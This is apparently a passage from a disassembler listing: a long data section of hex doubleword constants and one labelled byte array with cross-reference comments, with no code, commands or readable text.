0A680717h, 7CA300BBh, 33468C60h, 0A000831Fh dd 0BAD27420h, 0FDFFC6h, 27031A09h, 7F113035h, 1B454200h dd 0C98A65BEh, 0C84F5CDFh, 0CB448800h, 1611EFFEh, 65E63E00h dd 73CDEB23h, 0DF7A00D1h, 0D2E826AAh, 0F40F22DBh, 600AFDBCh dd 825D24E4h, 486100AEh, 0FC31AB9Ch, 49008FF3h, 0CC9E0252h dd 9A21C6DAh, 0B35100F0h, 0F156E5FEh, 8E092E1Eh, 8BC14Ah dd 36A128F0h, 0C83D0083h, 6A4EAB6Dh, 0EA00BD3Eh, 0AC3C153Fh dd 30489502h, 5F30FEB4h, 1E01C5C7h, 0A4F426FBh, 3F45066h dd 0B1810B3Ch, 9400AA40h, 0EB9F7942h, 0D365EE01h, 0A6B68F2Dh dd 1069A8CBh, 1FF3956h, 1E535E00h, 9ADF64B2h, 0CB4EA600h dd 3AB6F38Eh, 9DED304Fh, 0B0A10B21h, 115A8C31h, 0C6F062A3h dd 1DA40984h, 0C806BB3h, 0FA05190Ah, 792010C1h, 80F77A41h dd 0D2D7D6h, 0CEE2571Dh, 0F9F72407h, 6C0C48h, 857C846Bh dd 79FB08FDh, 368FE7Bh, 0F8077073h, 46802802h, 93005EA9h dd 0A11358D7h, 0E486B248h, 0BD90A03Bh, 388F988Eh, 0CE1F839Bh dd 32B3C0DFh, 0F8ED81A2h, 0D7082400h, 35461C2Eh, 0FF6900A1h dd 5F2647D9h, 1760A02Bh, 0C0F6207Eh, 0E3570084h, 0F2024CC3h dd 35192C98h, 0BA50B942h, 71DDFD8h, 5EC8A5F6h, 0B7DDA0B6h dd 0BC00160Ch, 4F8D963h, 25E6A6h, 40CF6AB5h, 0EF42829Dh dd 81DE5E00h, 8D65D335h, 0A644004Fh, 450B2E4h, 0D001C60Ch dd 3D2CC867h, 20ECA88Fh, 363E0135h, 0EC56F67Eh, 71C1FC60h dd 329B1F0Eh, 0EF3547F5h, 0A6D76BE0h, 91A90192h, 7D6144C4h dd 18DAC472h, 0CD638400h, 0FB113B97h, 0E42A00EAh, 61F664D9h dd 0C0003374h, 7532862Eh, 704A990Ah, 2A73A5h, 499AA3A2h dd 712F6908h, 66B76000h, 8E32C492h, 63D10341h, 97DC4D34h dd 520031BEh, 744CC01Bh, 35718Fh, 9958935Ah, 0E3F3C6DEh dd 0C1DD901h, 0C31419F1h, 603ED4h, 0D6C21EA1h, 76EED59Fh dd 0D28F660h, 1EA35AD1h, 4F777CDCh, 19406E63h, 9C2EB4C5h dd 0A2A79300h, 52BCA1E7h, 0CB9B004Dh, 84105CB5h, 5E1C9CBAh dd 8BC7DB73h, 8D037C0h, 3017EB6h, 44846C77h, 80841C74h dd 76A0CC0Ch, 801E5A2Ch, 1B3E3C02h, 0B1840E3h, 37BB006Bh dd 53CF0693h, 0E500EB62h, 40D9FE94h, 6020B243h, 0DDB9115Eh dd 88039C03h, 18E57A3h, 6E0BA9A6h, 0F5E32F4h, 52FA22F0h dd 17537C62h, 46C7EC80h, 4900567Ah, 717081F4h, 2838668Dh dd 741488h, 65C4A38Eh, 4DBF6BD2h, 7EA8BA00h, 36DEA5F8h dd 28ED0092h, 75A064B4h, 0AE0043CEh, 0DCCD138Ch, 260BCF2Bh dd 3186B6h, 1D3176C5h, 0A2008749h, 0AED683E4h, 8CADA7h dd 0CEBEC43Ch, 6A2B9821h, 0A57452C0h, 7F8E9h, 0B6374C5Fh dd 7C76BEC0h, 7DEB3Ch, 84DF39BDh, 1D8558h, 0E311F8A5h dd 0AC93DB7h, 41E2EE0Fh, 994403C1h, 0A7F1007Ah, 90AF6E3Bh dd 9C174292h, 0F7005BEDh, 6188A991h, 32673DE1h, 86B0DF0Eh dd 59446CC0h, 31015F4Ch, 0AE8A3D2Bh, 37E82CD1h, 0DEE285h dd 0A253243Ah, 84BE8EB3h, 0A65AE90Eh, 0EE80FFAFh, 4C25C4C6h dd 683E00FFh, 577F0DD5h, 0EB0CFD31h, 2094D203h, 0E97D008Fh dd 0A88513E4h, 7E0F125Ch, 0E0CAAD57h, 691AEC09h, 0EAAB0075h dd 3EF673EFh, 0A8A38C2Dh, 16A6BEA8h, 0DE0AC800h, 0AB5EF0AFh dd 0D570012Fh, 0EC4E8936h, 0B4DB2078h, 0A7553200h, 0FED3CD3Ah dd 0E7F9006Bh, 10308040h, 0AD096075h, 19FC13Dh, 4CED4D8Dh dd 0E2D9C0h, 9EC9906Ch, 0C59A9B82h, 6A2FCE00h, 0BA3F5476h dd 64581F25h, 18928785h, 4EE61070h, 4B25197Fh, 39C7F0C3h dd 42805DEDh, 99EAAC64h, 39004633h, 405A9714h, 16B4C1ABh dd 0F0BC9F2h, 5240F4D2h, 0C8B2A408h, 0D303C50Ah, 8500E4DAh dd 0D7B9391Fh, 6FB11BE0h, 0A5B81073h, 7005DEEh, 0F22FFBCBh dd 1EB0B10h, 8D9F71BBh, 0D01E0D02h, 92006CF9h, 26BF87B4h dd 0D4E7B6h, 938CB144h, 0B0613345h, 66F3E500h, 3AA34B89h dd 0E987005Ch, 51C2CC6Bh, 0BA00590Ah, 0A74E3404h, 0B353CBh dd 6EE50EA6h, 0BEA1489Ah, 0D4B14900h, 946163E4h, 72D300B2h dd 552C8752h, 8D095CE9h, 8353CC34h, 0E07B0D48h, 9C9A5Ah dd 0E238890Fh, 2EFE1CF5h, 8BD89000h, 4DB38EB8h, 0B71E011Bh dd 7D32BF43h, 0AC1FF0D4h, 6F1C3A7Dh, 0DC805868h, 62DF24C2h dd 0EAED2C3Fh, 80762815h, 4EEFEDh, 0EBD8A9B5h, 73EE1E88h dd 96030F7Ch, 0CFC6998h, 824B9858h, 0F8AE0035h, 9A158652h dd 0E218033Eh, 0D4200F6Bh, 0D79C1Fh, 0B165DB8h, 20FF318Bh dd 660705F4h, 9089AEFCh, 0ACEE2F50h, 70680094h, 0B0F75865h dd 88FE9A75h, 981920C0h, 3393129h, 74D78BC4h, 14B0AEF8h dd 2205673Ah, 0C373EB05h, 0AF5646C0h, 0B6EF3CAAh, 51B47E00h dd 80010E91h, 507FC038h, 3F01E896h, 21C5A1FDh, 0AEE45464h dd 0CE240AD2h, 1DE44E82h, 6A3000BCh, 5BC777CAh, 0BBABE900h dd 0AA21C084h, 8E7D00F5h, 0A393AD66h, 0CF079EBFh, 93C6D81h dd 0EEF69B70h, 9CB40F86h, 452E553Eh, 0E3F50B27h, 60392D0h dd 430949DAh, 0CE46D868h, 0FB550036h, 9374167Dh, 0FE00077Ch dd 12EAA29h, 0BDEA924h, 0AF40611Ah, 178EB500h, 0A300D592h dd 0BB98EF65h, 70DC375h, 5CFBFEB5h, 0FDD3510Bh, 0D4AC2067h dd 60001ADEh, 0DDB0900Ah, 7C6E049Ah, 802E1B1Eh, 0F94A6B5Ch dd 3158BE1Ch, 22D13440h, 0FE870836h, 4D328B3h, 0C87D03E8h dd 0ED2AC167h, 60ACF0D8h, 161EEF01h, 668B083Bh, 2107D23Ch dd 0F0FED5BAh, 31188CF4h, 63A02216h, 3259A600h, 1B4D4F0h dd 62924FE7h, 251D6FC1h, 0F0BC2114h, 0F0009DDBh, 0D6F50FEBh dd 7D4954A8h, 0AF2C1F90h, 302940C9h, 48F44B4Dh, 0B0000E7Eh dd 4017BDBBh, 906860B5h, 39F000C3h, 624512C2h, 0DA002213h dd 0EA8D05AFh, 76F4415Eh, 3EACE490h, 990FBC96h, 7365B2DAh dd 0FD18C342h, 0FFEEB0B7h, 610E0E49h, 0A378ED72h, 883A4C0Bh dd 7A0D3CA6h, 73D407C3h dd 0F7FDF103h, 0C88AC0E6h, 75001DDAh, 0AA26FE59h, 121B8591h dd 21D262h, 0E9330941h, 2F00DAEAh, 9E1A0627h, 0D6C460h dd 55F7C5B8h, 0CF8CB659h, 11F82230h, 8EB43h, 0A32992EAh dd 0BFDF1D4Eh, 1C1ED60Fh, 67C0C0EDh, 0E59D31CDh, 0E4A441E0h dd 0F973018Ch, 335851FDh, 0D834311Eh, 0CE000152h, 83A0D85Bh dd 1AE9E09Ch, 99DC5035h, 0CBA38C80h, 5E006272h, 8CBD4C9Eh dd 3BE583h, 0EDD62DEAh, 0F3E4DB30h, 0DDF8CD01h, 0FAB1BE10h dd 417D7F4h, 5AFCDEACh, 0BB54C19Ch, 0B58C344Dh, 1B139401h dd 0CAA21F75h, 76899B60h, 55F048E9h, 0A7FF9300h, 0CD7B321h dd 1CCFD200h, 0A9299BE5h, 0F48300BCh, 8A4E96F1h, 0FC01ECF6h dd 0BF01227Ch, 60814913h, 0F479CA4Dh, 7F709E4Ch, 69AF5880h dd 37FB560Bh, 83187D81h, 0C3C4579Bh, 101E4CDCh, 0D11E58B3h dd 73A2A886h, 34060E20h, 0E6C9A7E0h, 0F5C0E581h, 3186E844h dd 30224D00h, 489A655h, 58B10325h, 4AE2B0B2h, 37508906h dd 399555h, 2381BC11h, 45B6E974h, 25DB4B2Ch, 4092850Fh dd 12643FB3h, 4C4D1F4Ah, 906D40E0h, 8747E876h, 0E0F92DE4h dd 0EC00073Bh, 2F390B22h, 0E615FA9Eh, 0FEE61CF5h, 0F9644051h dd 35C1BD49h, 196A6101h, 0DC8C922Ch, 1E1C5870h, 6824C0CDh dd 96430084h, 0A1658731h, 6207E332h, 2067F435h, 9EFAC2D0h dd 663C00CAh, 0A2C1BF06h, 7F72CD4Fh, 0FE000B7Ah, 9C87ABF0h dd 0C3E0A0h, 0A602D98Ch, 0E36E7770h, 43420C00h, 24A5A412h dd 93650011h, 947BB4F7h, 87008D2Fh, 995A8A4Dh, 60FFDC17h dd 0A2BCF09Dh, 37001AF7h, 4AD00D84h, 48EAE8D8h, 7E00DC11h dd 646915C6h, 741BCA49h, 82204654h, 0EB68C0C4h, 23C00CBh dd 5952245h, 0A202BE98h, 0FD46A13Fh, 0EA40444Dh, 0C2920340h dd 6DE9D976h, 3525006h, 71217Ch, 2E122F25h, 208F7050h dd 177348C0h, 0E7774Eh, 237B6AE3h, 8DD07D8h, 0A832A00h dd 0FA4F1BFDh, 3B3800A6h, 0F7529FFCh, 330008C6h, 96F5BB85h dd 0F1247Bh, 0FC157C78h, 6AEC37FBh, 0DE4FEB00h, 5F2A0A1Bh dd 5D7900EDh, 1E774082h, 0F00056DDh, 0F62F9383h, 1D14E87Ah dd 8788BF84h, 0E0230BF8h, 40A0E01Ah, 8AA17F00h, 8BCB48C2h dd 691400A4h, 75DE6F98h, 960B5CF8h, 4FA4Bh, 0B9036021h dd 0C92400F4h, 9341FD37h, 6D98CAA8h, 23838000h, 8C079892h dd 9C7734h, 9014F59Dh, 0E6CA8A02h, 12691C07h, 73E02A40h dd 255DC6h, 0A491B51Fh, 0B8ACAFD8h, 9E6D7F05h, 3B80401Eh dd 0F6EFDFCh, 0EA4C79A2h, 3E192D23h, 269855E0h, 0E7AF730Fh dd 0EF1E93C2h, 9EEF68C1h, 0C0CF1FE5h, 0EC571EDh, 0BECE1693h dd 4BC697E0h, 0AAA084BFh, 11000729h, 4933E1C3h, 7027E2Bh dd 0F4C11631h, 0AA0C1095h, 20037C9Fh, 0A5E7D733h, 0FA1900F7h dd 3985C9DDh, 87902D0Fh, 0E21880E5h, 0DBE53FADh, 0DECD7h dd 73B96442h, 6621EA10h, 1F18027Ch, 7248C5ADh, 0A9196179h dd 0D09A929Ch, 970457D4h, 4CC15285h, 0E04213C3h, 60E565ECh dd 0E798487Fh, 0B330E8F2h, 0EE903071h, 64D00B1h, 660F4579h dd 4300611Dh, 508B6DF9h, 7E1797h, 909B15F1h, 7DC33AF4h dd 2AE610C7h, 3D213321h, 3CF53C0h, 5C5432CDh, 2FB0CBE9h dd 6F007F36h, 3AF31B22h, 0A08D08h, 0E8350A14h, 0C83BF8C6h dd 9969C41Dh, 0ED831E00h, 0EF2692h, 0E3B08FDAh, 2FB2D84Ch dd 62D0800h, 4031B437h, 3C360057h, 1C4997AFh, 7500CB0Dh dd 1E7FD320h, 0F7BECAF8h, 936BE4h, 0F9D5C85Ch, 0FE02B6E0h dd 4257B401h, 72B17F46h, 3830430h, 0C97733CFh, 0EAB86F79h dd 0C1EA13B7h, 0FD3B813h, 0B15DF200h, 2F02BEh, 5396649h db 3Bh byte_520045 db 9Dh, 0B0h, 36h ; DATA XREF: ___:00437A58o ; ___:00437A70o dd 0EC01C2F0h, 0D91D879Eh, 57E84DE4h, 0E66405E1h, 807E1534h dd 92DA8C93h, 0B3FD5601h, 3C473975h, 0C3E868D5h, 0BE86397Ch dd 9401203Fh, 0B915485Ah, 0A99D6070h, 76601E07h, 0B141852Ch dd 0E3F0DB69h, 34390BFAh, 6B5098C4h, 2C7C3Eh, 0FC1D75B4h dd 477725h, 8B784CB3h, 7A52A18Ah, 84E8FD05h, 0B0002B5Dh dd 0BEBB30C2h, 0B1CA1324h, 0C74C00C0h, 1C0D439Bh, 4038479h dd 0A7C1F114h, 0A529114Ch, 426811BFh, 8089421h, 0ADC9884Ah dd 8841B288h, 4E880568h, 0AE3D8848h, 902EDB88h, 4941845Ch dd 48BAE144h, 0A7045BCh, 1014DA3Ch, 3B0F84D5h, 6304615Ch dd 790AC416h, 37C60864h, 84091888h, 4C3CCC2h, 9100BB2Dh dd 0B3E4E38Fh, 0F72034Ch, 800E0693h, 0BCFCB77Fh, 65D4005Bh dd 3CB5DB18h, 4600A538h, 69089472h, 9676E70h, 444EECDFh dd 0B6C09100h, 0A5007E05h, 0AD937372h, 22814Bh, 0C9F8BA7Fh dd 0E85631E6h, 6B112600h, 0ADD3BDF7h, 0E3D600D9h, 581DDC96h dd 0DD00A984h, 508CCD54h, 0CB2225h, 0D88AE313h, 0D02CED6h dd 27DBBFA0h, 771F1D75h, 5501E07Bh, 586B9226h, 4403F4h dd 0C4886A9h, 0E2ECFE69h, 0D67CD100h, 0A7115B5Dh, 4AF300E9h dd 0EBCCB592h, 2E00E405h, 0ABDE3FC1h, 730A22CFh, 6F3500A8h dd 62CC3B5Fh, 0B27B5792h, 0F399A6C0h, 37728AAh, 0E711326Bh dd 0C5B041A1h, 19C0A703h, 63D745F9h, 0AAFE03BBh, 89A134DBh dd 0A8C20A98h, 90BFED00h, 7A18393Ah, 0EF2200C3h, 814C514Ah dd 0A200A46Eh, 3C45A93h, 330DF68h, 6C877A56h, 0C9D3297Dh dd 0EF1B50F8h, 41114500h, 0A381FCB6h, 7D350F3Ch, 6E003A47h dd 3FEC334Fh, 5EB948C0h, 0B46921h, 0F8DCADF7h, 9B3912B1h dd 79640B0Fh, 0CC4FDEBBh, 598B0035h, 0E41E0E68h, 73CD0055h dd 0BEE49567h, 9401D7BFh, 43831D38h, 1FE8C151h, 4F0F8BCh dd 0BFAA110h, 60D48763h, 3B70B49Ch, 37FF800h, 626AE86Ch dd 72D6A0DAh, 75E25Dh, 0A4261497h, 0AB046D86h, 0EB98A278h dd 59ACA003h, 90F6FAF3h, 1D896CA8h, 80924B02h, 0D0272AE7h dd 1AB809F9h, 0FCB55E00h, 0BF244F96h, 0F02C0F78h, 6480F3F5h dd 2D6FBE26h, 5D943F00h, 0F78296A8h, 6CF40086h, 0D467805h dd 58907FB4h, 1DBAB39h, 0D2245052h, 69D0E93Fh, 0DD79ACh dd 0FCAFFED0h, 3AED517Eh, 0A116F500h, 8699D437h, 9B7911h dd 7F6D1F55h, 8135D88Bh, 980BB800h, 5386EE0h, 0DEF472h dd 8980502Ah, 1C457FC9h, 522B8109h, 3C18001Ah, 2E80706h dd 0C44685Fh, 18C9EF6Eh, 0FB5260A6h, 53281E60h, 7FFF3CCh dd 3B620AD9h, 0CD12008Eh, 100CFA4h, 282FDC32h, 79B04h dd 83DDFDFEh, 86823B2Ch, 0D1624900h, 0C27DBEE1h, 747C1DDFh dd 60D74B57h, 7EBFA200h, 0D60084FDh, 0FC521CB8h, 87F0A6h dd 4F0E5EF6h, 0E029EEADh, 937B48h, 61D9BA43h, 16B7C153h dd 52B664h, 0EC3431E9h, 950237AAh, 0CE7EA53Fh, 0AE6AE069h dd 821A006Ah, 0DD0957E0h, 582E4553h, 0EB003EC7h, 50080D2Bh dd 2695071Ch, 0B161EF72h, 2017A40Ch, 0A2E28F9Ah, 0D364F3FEh dd 6980AB02h, 3A6A7151h, 9080A854h, 70FF1F3Bh, 68F63916h dd 34E50300h, 0B38A5B8h, 78D80391h, 635F0214h, 0C91D88E0h dd 0BE73BB70h, 0A4A34205h, 8A00A759h, 0ECF4B66Dh, 29FE0C1Fh dd 0A1881315h, 0A66E4Ch, 0D8741DDh, 0E6B19Ah, 9025492Bh dd 19EE6F6Bh, 92885600h, 12F251F9h, 0A641047Bh, 0C0AF399Dh dd 0A2CB4843h, 86164500h, 8E4770B7h, 0C760009Ch, 674D51Bh dd 3E00A415h, 65E36C93h, 0EAF01E2h, 0DB79D74Dh, 67F198A7h dd 53A910EAh, 6A06FB6Fh, 6EA6E973h, 0BF860011h, 0C2C47E58h dd 147C4AE5h, 26BD400h, 0EE96C50Bh, 4CEAF5h, 0D207FD9Fh dd 6E80B3BCh, 82E2607h, 8D104EF9h, 1CAC0A90h, 7B94B82Ah dd 55B0F180h, 2E5C1279h, 27212F05h, 2BC7E1AFh, 67020460h dd 0A5C00026h, 5F8E5471h, 0AF00337Fh, 4F15EEDEh, 0E1BD1Ch dd 4C2791C1h, 0A6B35B6Fh, 18B99A01h, 75C52CCEh, 3257E4h dd 0DDBC49ABh, 0B20B8570h, 42C3E900h, 19AF106Ah, 89A70045h dd 0B6E894C1h, 882C997Ah, 0BF011D5Ch, 8003DC15h, 0B4A5E050h dd 3DBD00AEh, 0A24806ECh, 0D5004FF3h, 0E3D71CA1h, 0A63947h dd 5E41F03Eh, 8C46611Fh, 4B772200h, 0E3F840C6h, 0A9C90E9Ah dd 0C52A7563h, 0CD0300ACh, 0A01BA74Ah, 2752A200h, 0D5D32A29h dd 84DA0014h, 81E4C291h, 0B300CB59h, 56A37528h, 28153251h dd 1E01FD0h, 0DDEC7E9Dh, 0C8860A85h, 0CA71E033h, 92CE661Fh dd 95FE1D00h, 70D0B34h, 9D23BE8Eh, 2B00EB9Eh, 0EEC698Ch dd 0E4C56300h, 87572566h, 58D10092h, 1767D72Fh, 0E00749DCh dd 69193742h, 0DA4D6DF0h, 6E77C0h, 0F65C77FCh, 0BE8B4E57h dd 0BC00FAE8h, 0B2BF852Bh, 0D9285Fh, 0FE0B2166h, 403360A1h dd 800FA33Ch, 0BDD72AC4h, 98AD4C6h, 0DE0463E8h, 0B5F02280h dd 0ED0089D8h, 0DB4FF2DFh, 76B9FAh, 8AFCE26Bh, 0C6BC1ECAh dd 0C0F9DE00h, 2397303Fh, 85500ACh, 3DF8547Bh, 81000B15h dd 0FB4CED9Fh, 7EF9E2h, 38EBC450h, 8649931Fh, 0D5C1E414h dd 0CDCA00CEh, 0FADD2079h, 0CF8B005Bh, 6DE85E06h, 0C1043C73h dd 0AC59F28Fh, 819BB480h, 9C100015h, 0B6BDAF69h, 284C1C4Ah dd 0C8FE0F13h, 0FB6DA077h, 135673F4h, 40F24Bh, 0A6683F42h dd 661F24E4h, 3E006E7Ah, 6A115906h, 12E800B7h, 4EC898A5h dd 0AD000155h, 76AFC4E6h, 199B629h, 45A45DC9h, 7097B74Bh dd 53E6FA0Ch, 67EA1571h, 13BBA302h, 60568B7Ch, 98AE6D27h dd 18A0EC08h, 0D8F9DBB6h, 302CE6BEh, 59002148h, 25D626B5h dd 3402483Fh, 4B0F2E39h, 0C6A01234h, 8247F196h, 1C905BB0h dd 7BF2A00h, 0E93967CCh, 3830023h, 0E5E40E87h, 1B00659Bh dd 1E45924Ch, 2E3686F3h, 0FD1390h, 0AC2630D4h, 5450097Eh dd 0CB00789Ah, 1CA02403h, 0C0BA0E23h, 10C72658h, 0A8FA4162h dd 0F93CFD00h, 0E81C77C3h, 8CF30F86h, 0C1E0CAD5h, 0C290745Ch dd 329E4D00h, 103CA235h, 4BD900E4h, 0EE296CCBh, 0BD004178h dd 0CCFC1F0Fh, 0F69B855h, 0B3F7AB01h, 30F1D0E0h, 0DC0996D8h dd 523276h, 823365F8h, 411F3003h, 2F6E4D10h, 72782500h dd 6293FCFBh, 3C28031Dh, 0AE9BB832h, 79F9A1F0h, 84A8A90Fh dd 762B0011h, 0E0ABB7F6h, 7B561FA4h, 0CD74C030h, 7105CAC2h dd 0BCBCB12Ah, 73F8B20h, 77AE6E22h, 0AA5C500Ah, 480E9536h dd 0A0B6180Bh, 8041F2CFh, 167D07AEh, 303601D5h, 0E41F28C2h dd 84FB38h, 0E240D9FCh, 1031086Fh, 899C187h, 28F25F12h dd 65B60726h, 80511379h, 0F8C37D63h, 0DD853Ah, 0CE4BBF04h dd 4945F5h, 0A7470BD8h, 381182F7h, 815FC438h, 2BF63630h dd 0BC30D94Fh, 16C0070Eh, 0E077206Fh, 62B790D5h, 3E0DA401h dd 9C578A7Fh, 25A320h, 206C6554h, 629BE60Ah, 3340A600h dd 0C3F41EB5h, 5EEA0724h, 0AE268998h, 0F5DF1660h, 8C2E30A5h dd 4900D073h, 35286204h, 81290057h, 8E1EA97Ah, 0A40351AAh dd 0F3756E40h, 77D0F83Eh, 0E15D39B9h, 0D12CEE82h, 0F440844Dh dd 0EC071211h, 1B75C869h, 0E016C6h, 0D3090293h, 0BD485FB4h dd 0B5EC8300h, 0E7171898h, 0D390784h, 50B36528h, 4523C67Fh dd 0C2351202h, 404A2C64h, 1FA00Ch, 0EAE50CE9h, 8EEC0B03h dd 0E4171A00h, 0F4A16775h, 6B60EF7h, 0C608CBBh, 2E199FEEh dd 804B8338h, 0A308D203h dd 4CCE36Fh, 25388C01h, 0F28C8009h, 0E60064BDh, 0A6D58A1Ah dd 0D28E36h, 89C7ED97h, 41C57811h, 68CD2B12h, 41178808h dd 40AB9801h, 0CFCAC0C4h, 8D27A24h, 0C3444802h, 26506091h dd 215907E0h, 0F0FDC242h, 256763A7h, 0CD016100h, 37EEE910h dd 3176603Ah, 63F93516h, 30903Eh, 0D72BC57Ch, 92D3F0h dd 49EF01AAh, 56E46938h, 0E51BBE02h, 0C086E324h, 0D88460h dd 734D2B9Bh, 51EE8753h, 5FE2B400h, 151314AFh, 0B0650169h dd 8DAAB390h, 7AEEE8EBh, 0CDCB5817h, 1D281400h, 5F42744h dd 497BE5F6h, 0D4C0C098h, 63039D70h, 4D967D37h, 29BEF03Bh dd 0EBBC3C07h, 85982580h, 35AFEAA7h, 69B63F03h, 0A9D39A12h dd 0DEDF914h, 2AE01020h, 1D876ECh, 237CEBEEh, 305D334Eh dd 0C5853A6h, 0D46F244Eh, 0A0C26B0Eh, 14E0E111h, 0B85C73A1h dd 3C0E002Ch, 46FAE795h, 9204C048h, 0AA4315A6h, 0A480D4C5h dd 0A1EE7EB1h, 0CCF06490h, 0BC6858D2h, 2D80143Fh, 88341BFBh dd 0A1133ED6h, 9B01BDE3h, 0BB25A346h, 21EC79C1h, 381F1EFFh dd 0AD8B4063h, 0C8E5F31Ah, 14597A05h, 18879377h, 905A3B87h dd 74B56402h, 0D8DF391Ch, 0D007A8Ah, 0A05924D8h, 14B79Dh dd 8C60FA6Ah, 0DD7540C5h, 2405F490h, 64ED9C32h, 96F078C0h dd 0DB66240Bh, 0C05B1F78h, 5C26027Eh, 0FD3FB4F5h, 599381C9h dd 312ADE1Fh, 15D54C35h, 720C7460h, 53F80021h, 47D4A071h dd 782EED29h, 15164C7Bh, 43553C00h, 0F753FFh, 183AA0A8h dd 59072E81h, 7B02D607h, 66F04922h, 0FCE083EEh, 76517C45h dd 0F7B0F9h, 0FE5E01B4h, 0EAF77823h, 0F0997428h, 5A659109h dd 438000Eh, 0B9ABBDh, 24B7457Fh, 6907A72Bh, 7126E600h dd 0B0AF6DCDh, 8C2100B3h, 42DEA37Fh, 0BC70A7A0h, 3FE1EC00h dd 8E252CC0h, 30281E58h, 4B1B029Ah, 0E861C6C3h, 4823B7h dd 3FC9456Ch, 1F52CA3Ch, 40B055F0h, 1B270EC0h, 0A09894B3h dd 9C56480Ah, 10009293h, 0BFC27234h, 0E1CA03DFh, 8F1DF06Bh dd 0B3AC2806h, 62B91Ch, 39E23765h, 647FA2E4h, 649601EEh dd 3202F800h, 75C49F07h, 79CB002Ch, 6337AE2Bh, 0BC1E9AA7h dd 2ECFEFD1h, 9088CAB6h, 0C09F6100h, 1BFB37BEh, 42A621ACh dd 68DD9098h, 0F7EF4600h, 5BD128Dh, 0B3690023h, 5D884D72h dd 1CB9350Dh, 0C9A3B00Ah, 0A1425202h, 1090604Ch, 0EB3925AFh dd 84F7A080h, 0EC00139Fh, 0ED4DC4C6h, 50B3E327h, 39BEAB6Dh dd 0A60107A1h, 1CB652Dh, 0DC56C4BCh, 71946900h, 1F46023Ch dd 9C5E481Dh, 0FD582630h, 700081AFh, 0A2DFF893h, 0EE87FEBAh dd 1C6CB0B1h, 0DDF5D2C7h, 9808C184h, 60069BF1h, 1700B728h dd 7FB27D16h, 0A034BC3Dh, 6BD54EECh, 48835887h, 17E3E62Ah dd 0C5B73DA8h, 0BF89A305h, 0D890F570h, 7F38A213h, 0CFD80432h dd 0C0DF9E1Bh, 9A0EC2B2h, 1400F84Bh, 0D0154231h, 59BD039Ch dd 0D881B688h, 7F07A0E8h, 6F52E90Fh, 0CBC4426h, 0EC63DCC0h dd 2C3D00FDh, 35E7E65Fh, 0B40F9E4Eh, 803F99DEh, 0EA28D4A9h dd 30D500ACh, 0FCE56DEBh, 0F006A59h, 9D1CC59Ah, 0C3A7C4h dd 3C4E6071h, 8ABAB89Eh, 0FB0016FCh, 0E09883CCh, 247411B9h dd 97046FADh, 0E4256Dh, 0FEB285C0h, 5C0057D2h, 3DFAB493h dd 1749F9h, 6E6D41C9h, 0DD093EAFh, 38D96900h, 1DD03796h dd 0CD9F0FA4h, 0F5E4A6C1h, 2C04834Fh, 360C3B91h, 9E8D001Ch dd 666E2A54h, 0A59148E2h, 463EEB00h, 83C7806Bh, 0FF7A2500h dd 0C1756C1Eh, 0BBD00453h, 0C00621A7h, 0C2A3A6E0h, 1037380h dd 7A60409Ch, 20712F9Fh, 0D524AA98h, 9801C93h, 0C4FBED9Bh dd 5DCC0701h, 70327030h, 0D3936D69h, 7A095674h, 60546BDEh dd 261FBDF8h, 3B000E5Dh, 4D171E00h, 11AB0B06h, 805C5E38h dd 29A721B6h, 0F4493394h, 0E60C0052h, 0A07A0EFCh, 240042DDh dd 3590319Ch, 0E45227E5h, 8B8A004Ah, 2758FA8h, 830743D7h dd 3B46EECCh, 26502376h, 0D30D2Bh, 0F1AE94BBh, 1701B110h dd 28382F69h, 0C882687Bh, 9367D6FDh, 0D5FA7068h, 0E200D496h dd 84CA99CEh, 60B313DEh, 3D76001Eh, 0F99E7E9Bh, 0FF7C3800h dd 32D84BD0h, 51E30003h, 0FD66BDD1h, 0F0CE0C64h, 0B8F401FCh dd 0A430778Dh, 0DD5720C8h, 200A2925h, 0D0F4CAE4h, 851B0099h dd 0C62255A2h, 8C00D99Bh, 0F241CF32h, 0F49C62h, 0A5D5184Fh dd 5BD3312Bh, 0F05D7000h, 0DC208560h, 0CBFA2E25h, 108049CCh dd 0D0CC6728h, 0C7195302h, 416A7F1Fh, 0D7C8C8F8h, 0D1020007h dd 7DDCAE32h, 93758EB1h, 992FAF00h, 24558CB5h, 0F6B0EA0Fh dd 0D74C003Fh, 0B27AA881h, 8600749Dh, 0D2E08A9Fh, 58DD6C41h dd 400294BAh, 3521FBEEh, 0E59FC0C8h, 5884BF24h, 8A40931Dh dd 0FEE751Ch, 4F980E59h, 0C01DE139h, 0C5772190h, 0B4022D34h dd 2A9D0E48h, 0E4C8E00Dh, 40DA60B0h, 0A6731369h, 2D505F00h dd 4DFCA266h, 54EF02CDh, 0A99DD078h, 9BB0F963h, 2D0FE627h dd 6E7265BBh, 15F035B5h, 12BC10E2h, 7040C9E7h, 97E3B8ECh dd 0FE247531h, 8F840251h, 3B26953Dh, 3208840h, 0E7811CA0h dd 21C05BE0h, 0E2C8156Ch, 9AEE46h, 5965D42Ah, 3CF1C6F4h dd 87A8CAA0h, 3801E373h, 0C13DDB88h, 0F53035A7h, 7C78F0h dd 6BD8A65Ah, 0D9C9239Bh, 0CFEDF600h, 6E7E67ABh, 0CB2600F2h dd 0F08A4F39h, 2BE651D1h, 0DB733D1Ch, 53140783h, 0A73BF060h dd 1B0F007Dh, 0CB982B02h, 0E5EC78D7h, 147AE698h, 0B759BF00h dd 290E1A1Ch, 572200A0h, 0F182930Fh, 321D26ABh, 17C1C166h dd 805BECCBh, 3A48F8h, 0EBC3BC6Eh, 0C797665Dh, 82F9DE02h dd 40226123h, 2444D1Ch, 0E90C65D0h, 24C0C050h, 0B2EE8EADh dd 921AF713h, 0DF4C0800h, 0B07D5Ah, 8EBAC554h, 3387E2Bh dd 71EE0573h, 13008896h, 49982C07h, 334E1C62h, 0F82C0D6h dd 6FDB2ED0h, 103F5CECh, 11440329h, 88D4D63Eh, 0BAECA8h dd 954876DDh, 84A3E086h, 44062F0Fh, 0BF807D50h, 534DB6D1h dd 856D09C2h, 66002267h, 867BF663h, 5800CF98h, 6520E075h dd 1411D9Eh, 0FFBF18F4h, 3099914Dh, 21FE5DCh, 0B785CAEDh dd 5080C485h, 1E07DD06h, 7452CD9h, 0E010500Fh, 1F0D31C9h dd 28208C4Bh, 1AA53Ch, 0D351A07Fh, 4AC043C3h, 0ACE6CD02h dd 0C1449567h, 57D418ACh, 0B0AE0016h, 0EA29C37Ch, 5B07CD89h dd 0E99C523Ch, 79383F90h, 207E6E84h, 0EB0033CEh, 6A861B82h dd 6C882E00h, 89F86457h, 8FCA00F9h, 85A9AA87h, 0B4906B3Fh dd 5C6EE200h, 0E890E908h, 1EB712CCh, 21B80069h, 0A8298F4h dd 